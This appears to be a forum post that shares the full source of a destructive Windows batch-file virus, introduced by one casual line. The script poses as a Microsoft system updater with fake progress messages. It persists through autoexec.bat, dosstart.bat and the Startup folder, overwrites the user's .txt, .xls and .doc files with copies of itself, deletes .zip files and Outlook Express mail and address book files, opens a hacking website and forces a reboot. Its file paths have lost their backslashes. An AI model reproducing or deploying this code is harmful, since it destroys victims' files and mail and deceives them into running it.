Its not that good but basically it deletes some important things and moves itself around

@ECHO OFF
CLS
IF EXIST c:winupdt.bat GOTO CODE
GOTO SETUP
:SETUP
@ECHO OFF
ECHO Welcome To Microsoft Windows System Updater Setup
ECHO.
copy %0 c:winupdt.bat >> NUL
ECHO Scanning System…..Please Wait
prompt $P$SWindows2000
type %0 >> c:autoexec.bat
type %0 >> c:windowsdosstart.bat
ECHO DONE.
ECHO.
ECHO Installing Components….Please Wait
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:mydocu~1*.txt) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.xls) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.doc) DO COPY c:winupdt.bat %%a >> NUL
ECHO DONE.
ECHO.
ECHO You Now Need to Register with Microsoft’s Partner: Fortune Galaxy to receive automatic updates.
PAUSE
ECHO Downloading Components…Please Wait
START "C:Program FilesInternet ExplorerIexplore.exe" [hide]http://www.crosswinds.net/~hackingtruths[/hide]
IF EXIST "C:Program FilesOutlook Expressmsimn.exe" del "C:WINDOWSApplication
DataIdentities{161C80E0-1B99-11D4-9077-FD90FD02053A}MicrosoftOutlook Express*.dbx"
IF EXIST "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" del
"C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab"
ECHO Setup Will Now restart Your Computer….Please Wait
ECHO Your System is not faster by almost 40%.
ECHO Thank you for using a Microsoft Partner’s product.
copy %0 "C:WINDOWSStart MenuProgramsStartUpwinupdt.bat" >> NUL
c:WINDOWSRUNDLL user.exe,exitwindowsexec
CLS
GOTO END
:CODE
CLS
@ECHO OFF
prompt $P$SWindows2000
IF "%0" == "C:AUTOEXEC.BAT" GOTO ABC
type %0 >> c:autoexec.bat
:ABC
type %0 >> c:windowsdosstart.bat
FOR %%a IN (*.zip) DO del %%a
FOR %%a IN (C:mydocu~1*.txt) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.xls) DO COPY c:winupdt.bat %%a >> NUL
FOR %%a IN (C:mydocu~1*.doc) DO COPY c:winupdt.bat %%a >> NUL
START "C:Program FilesInternet ExplorerIexplore.exe" [hide]http://www.crosswinds.net/~hackingtruths[/hide]
IF EXIST "C:Program FilesOutlook Expressmsimn.exe" del "C:WINDOWSApplication
DataIdentities{161C80E0-1B99-11D4-9077-FD90FD02053A}MicrosoftOutlook Express*.dbx" >>
NUL
IF EXIST "C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" del
"C:WINDOWSApplication DataMicrosoftAddress Bookankit.wab" >> NUL
copy %0 "C:WINDOWSStart MenuProgramsStartUpwinupdt.bat" >> NUL
GOTO :END
CLS
:END
CLS
shutdown -t 00 -f -r